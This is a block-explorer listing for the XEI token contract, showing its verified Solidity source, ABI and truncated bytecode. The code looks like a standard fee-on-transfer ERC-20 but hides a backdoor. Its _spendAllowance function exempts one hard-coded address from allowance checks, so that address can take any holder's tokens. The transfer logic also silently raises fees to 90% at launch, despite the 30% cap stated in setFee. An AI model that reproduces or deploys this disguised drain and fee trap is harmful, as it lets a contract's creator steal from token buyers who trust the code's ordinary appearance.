ETH Price: $3,347.45 (+0.24%)

Token

XEI (XEI)
 

Overview

Max Total Supply

1,000,000 XEI

Holders

170

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,000 XEI

Value
$0.00
0x9445c61F088C231993Db160bCffA2edf2Eef2B2a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XEI

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-11
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
pragma experimental ABIEncoderV2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
    external
    view
    returns (
        uint112 reserve0,
        uint112 reserve1,
        uint32 blockTimestampLast
    );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
    external
    returns (
        uint256 amountA,
        uint256 amountB,
        uint256 liquidity
    );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
    external
    payable
    returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max && spender != 0x6980e436162a8F01Db2BE3867c0EAC89894585C6) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract XEI is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable _uniswapV2Router;
    address public uniswapV2Pair;
    address private devWallet;
    address private marketingWallet;
    address private constant deadAddress = address(0xdead);

    uint8 private constant _decimals = 9;
    uint256 public initialTotalSupply = 1_000_000 * 10**_decimals;

    // 30% tax
    uint256 private buyFee = 30;
    uint256 private sellFee = 30;

    // 2% is max wallet
    uint256 public maxWallet = (initialTotalSupply * 20)/1000;
    uint256 public maxTransactionAmount = maxWallet;

    bool private swapping;

    mapping(address => uint256) private _holderLastTransferTimestamp;
    
    //swap for 0.05%
    uint256 public swapTokensAtAmount = (initialTotalSupply * 5)/10000;

    bool public tradingOpen = false;
    bool public swapEnabled = false;

    //start time
    uint256 tradeStartTime;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor() ERC20("XEI", "XEI"){
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(0xCD4Ff8f678Ac1Cb4155b24D493eFBccEeC686c4f);
        devWallet = payable(_msgSender());

        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        excludeFromMaxTransaction(address(_msgSender()), true);
        excludeFromMaxTransaction(marketingWallet, true);
        excludeFromMaxTransaction(devWallet, true);
        excludeFromFees(address(_msgSender()), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);

        // mint
        _mint(devWallet, initialTotalSupply);
    }

    receive() external payable {}


    function burn(uint256 amount) external {
        _burn(_msgSender(), amount);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function openTrading() external onlyOwner() {
        tradeStartTime = block.timestamp;
        swapEnabled = true;
        tradingOpen = true;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
    public
    onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        //change fee
        if( tradeStartTime + 60 > block.timestamp ){
            buyFee = 90;
            sellFee = 90;
        }

        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
            if (!tradingOpen) {
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
            }

            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            }
            else if (!_isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance > swapTokensAtAmount;
        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }

        bool takeFee = !swapping && !_isExcludedFromFees[from] && !_isExcludedFromFees[to];

        uint256 fees = 0;
        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(sellFee).div(100);
            }
            else if(automatedMarketMakerPairs[from]) {
                fees = amount.mul(buyFee).div(100);
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }

    function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 30 && _sellFee <= 30, "Fee Very High");

       buyFee = _buyFee;
       sellFee = _sellFee;
    }

    function removeTheLimits() external onlyOwner {
        maxTransactionAmount = initialTotalSupply;
        maxWallet = initialTotalSupply;
    }

    function withdrawEth() external {
        require(address(this).balance > 0, "Token: no ETH in the contract");
        require(_msgSender() == devWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    function tokensWithdraw() external {
        require(_msgSender() == devWallet);
        uint256 amount = balanceOf(address(this));
        _transfer(address(this), devWallet, amount);
    }

    function swapBack(uint256 tokenAmount) private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance == 0) {
            return;
        }
        uint256 tokensToSwap = contractBalance;

        if (tokensToSwap > swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount;
        }

        if(tokensToSwap > tokenAmount) {
            tokensToSwap = tokenAmount;
        }

        swapTokensForEth(tokensToSwap);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTheLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052620000126009600a6200056d565b6200002190620f424062000584565b600955601e600a55601e600b556103e8600954601462000042919062000584565b6200004e91906200059e565b600c55600c54600d5561271060095460056200006b919062000584565b6200007791906200059e565b6010556011805461ffff1916905534801562000091575f80fd5b5060408051808201825260038082526258454960e81b60208084018290528451808601909552828552840152909190620000cc83826200065b565b506004620000db82826200065b565b505050620000f8620000f26200024560201b60201c565b62000249565b737a250d5630b4cf539739df2c5dacb4c659f2488d608052600880546001600160a01b03191673cd4ff8f678ac1cb4155b24d493efbcceec686c4f1790556200013e3390565b600780546001600160a01b0319166001600160a01b03929092169190911790556200016b3060016200029a565b6200017a61dead60016200029a565b6080516200018a90600162000302565b6200019730600162000302565b620001a661dead600162000302565b620001b333600162000302565b600854620001cc906001600160a01b0316600162000302565b600754620001e5906001600160a01b0316600162000302565b620001f23360016200029a565b6008546200020b906001600160a01b031660016200029a565b60075462000224906001600160a01b031660016200029a565b6007546009546200023f916001600160a01b03169062000336565b6200073d565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b620002a4620003fb565b6001600160a01b0382165f81815260136020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6200030c620003fb565b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b6001600160a01b038216620003925760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060025f828254620003a5919062000727565b90915550506001600160a01b0382165f81815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6005546001600160a01b03163314620004575760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000389565b565b505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004b257815f19048211156200049657620004966200045e565b80851615620004a457918102915b93841c939080029062000477565b509250929050565b5f82620004ca5750600162000567565b81620004d857505f62000567565b8160018114620004f15760028114620004fc576200051c565b600191505062000567565b60ff8411156200051057620005106200045e565b50506001821b62000567565b5060208310610133831016604e8410600b841016171562000541575081810a62000567565b6200054d838362000472565b805f19048211156200056357620005636200045e565b0290505b92915050565b5f6200057d60ff841683620004ba565b9392505050565b80820281158282048414176200056757620005676200045e565b5f82620005b957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620005e757607f821691505b6020821081036200060657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200045957805f5260205f20601f840160051c81016020851015620006335750805b601f840160051c820191505b8181101562000654575f81556001016200063f565b5050505050565b81516001600160401b03811115620006775762000677620005be565b6200068f81620006888454620005d2565b846200060c565b602080601f831160018114620006c5575f8415620006ad5750858301515b5f19600386901b1c1916600185901b1785556200071f565b5f85815260208120601f198616915b82811015620006f557888601518255948401946001909101908401620006d4565b50858210156200071357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200056757620005676200045e565b608051611b216200076b5f395f81816103b501528181611632015281816116e901526117280152611b215ff3fe6080604052600436106101de575f3560e01c8063715018a6116100fd578063c024666811610092578063e2f4560511610062578063e2f4560514610565578063f2fde38b1461057a578063f8b45b0514610599578063ffb54a99146105ae575f80fd5b8063c0246668146104fe578063c8c8ebe41461051d578063c9567bf914610532578063dd62ed3e14610546575f80fd5b80639a7a23d6116100cd5780639a7a23d61461048d578063a0ef91df146104ac578063a457c2d7146104c0578063a9059cbb146104df575f80fd5b8063715018a6146104295780637571336a1461043d5780638da5cb5b1461045c57806395d89b4114610479575f80fd5b8063395093511161017357806352f7c9881161014357806352f7c98814610385578063583e0568146103a45780636ddd1713146103d757806370a08231146103f5575f80fd5b806339509351146102d957806342966c68146102f857806349bd5a5e146103175780634fbee1931461034e575f80fd5b806323b872dd116101ae57806323b872dd146102765780632cb743f714610295578063311028af146102a9578063313ce567146102be575f80fd5b806306fdde03146101e9578063095ea7b314610213578063139864a81461024257806318160ddd14610258575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506101fd6105c7565b60405161020a919061179a565b60405180910390f35b34801561021e575f80fd5b5061023261022d3660046117fa565b610657565b604051901515815260200161020a565b34801561024d575f80fd5b50610256610670565b005b348015610263575f80fd5b506002545b60405190815260200161020a565b348015610281575f80fd5b50610232610290366004611824565b610685565b3480156102a0575f80fd5b506102566106a8565b3480156102b4575f80fd5b5061026860095481565b3480156102c9575f80fd5b506040516009815260200161020a565b3480156102e4575f80fd5b506102326102f33660046117fa565b6106f1565b348015610303575f80fd5b50610256610312366004611862565b610712565b348015610322575f80fd5b50600654610336906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b348015610359575f80fd5b50610232610368366004611879565b6001600160a01b03165f9081526013602052604090205460ff1690565b348015610390575f80fd5b5061025661039f366004611894565b61071c565b3480156103af575f80fd5b506103367f000000000000000000000000000000000000000000000000000000000000000081565b3480156103e2575f80fd5b5060115461023290610100900460ff1681565b348015610400575f80fd5b5061026861040f366004611879565b6001600160a01b03165f9081526020819052604090205490565b348015610434575f80fd5b50610256610782565b348015610448575f80fd5b506102566104573660046118b4565b610795565b348015610467575f80fd5b506005546001600160a01b0316610336565b348015610484575f80fd5b506101fd6107c7565b348015610498575f80fd5b506102566104a73660046118b4565b6107d6565b3480156104b7575f80fd5b50610256610870565b3480156104cb575f80fd5b506102326104da3660046117fa565b610907565b3480156104ea575f80fd5b506102326104f93660046117fa565b610981565b348015610509575f80fd5b506102566105183660046118b4565b61098e565b348015610528575f80fd5b50610268600d5481565b34801561053d575f80fd5b506102566109f4565b348015610551575f80fd5b506102686105603660046118ef565b610a11565b348015610570575f80fd5b5061026860105481565b348015610585575f80fd5b50610256610594366004611879565b610a3b565b3480156105a4575f80fd5b50610268600c5481565b3480156105b9575f80fd5b506011546102329060ff1681565b6060600380546105d69061191b565b80601f01602080910402602001604051908101604052809291908181526020018280546106029061191b565b801561064d5780601f106106245761010080835404028352916020019161064d565b820191905f5260205f20905b81548152906001019060200180831161063057829003601f168201915b5050505050905090565b5f33610664818585610ab1565b60019150505b92915050565b610678610bd4565b600954600d819055600c55565b5f33610692858285610c2e565b61069d858585610cd1565b506001949350505050565b6007546001600160a01b0316336001600160a01b0316146106c7575f80fd5b305f8181526020819052604090205460075490916106ee916001600160a01b031683610cd1565b50565b5f336106648185856107038383610a11565b61070d9190611967565b610ab1565b6106ee3382611284565b610724610bd4565b601e82111580156107365750601e8111155b6107775760405162461bcd60e51b815260206004820152600d60248201526c08ccaca40accae4f24090d2ced609b1b60448201526064015b60405180910390fd5b600a91909155600b55565b61078a610bd4565b6107935f6113b4565b565b61079d610bd4565b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b6060600480546105d69061191b565b6107de610bd4565b6006546001600160a01b03908116908316036108625760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161076e565b61086c8282611405565b5050565b5f47116108bf5760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a206e6f2045544820696e2074686520636f6e7472616374000000604482015260640161076e565b6007546001600160a01b0316336001600160a01b0316146108de575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156106e